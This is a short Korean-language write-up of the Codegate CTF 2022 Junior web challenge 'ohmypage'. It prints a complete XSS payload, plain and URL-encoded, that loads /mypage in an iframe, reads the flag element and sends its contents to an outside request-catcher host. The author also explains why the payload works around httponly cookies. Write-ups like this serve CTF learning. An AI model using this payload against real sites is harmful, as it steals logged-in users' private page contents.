[CTF write up] Codegate CTF 2022 Junior - ohmypage : XSS to get html contents

2022. 2. 27. 18:08CTF write up

search 페이지에서 XSS가 발생하고 report 페이지에서 관리자에게 XSS를 트리거할 수 있다. 문제는 cookie가 httponly로 설정되어 있어서 탈취가 불가능하다. 그래서 My Page에 표시된 값을 긁어와야 된다.

 

자바스크립트를 제대로 써본적이 없기 때문에 관련 XSS 페이로드를 찾아보려고 했지만 찾을 수 없었다.. 그래서 굉장히 많은 시간을 들여서 페이로드를 직접 만들었다.

 

<iframe onload="location.href ='https://ldbknsp.request.dreamhack.games?html='.concat(document.getElementById('target').contentWindow.document.getElementsByName('flag')[0].innerHTML);" src = "/mypage" width = "300" height = "200" id="target"></iframe>



http://3.38.235.13:8881/search?text=%3Ciframe%20onload=%22location.href%20=%27https://ldbknsp.request.dreamhack.games?html=%27.concat(document.getElementById(%27target%27).contentWindow.document.getElementsByName(%27flag%27)[0].innerHTML);%22%20src%20=%20%22/mypage%22%20width%20=%20%22300%22%20height%20=%20%22200%22%20id=%22target%22%3E%3C/iframe%3E

여러가지 방법들을 이용해서 많은 페이로드를 만들었지만 최종적으로 사용한 것은 다음과 같다. iframe을 이용해 mypage를 로드하고 여기서 특정 부분을 찾아 공격자 서버에 get 요청을 보낸다. + 기호가 사용이 안되서 concat을 이용하였고 바로 location.href를 실행하면 iframe의 값이 제대로 안불러와지기 때문에 onload 이벤트에 스크립트를 넣었다.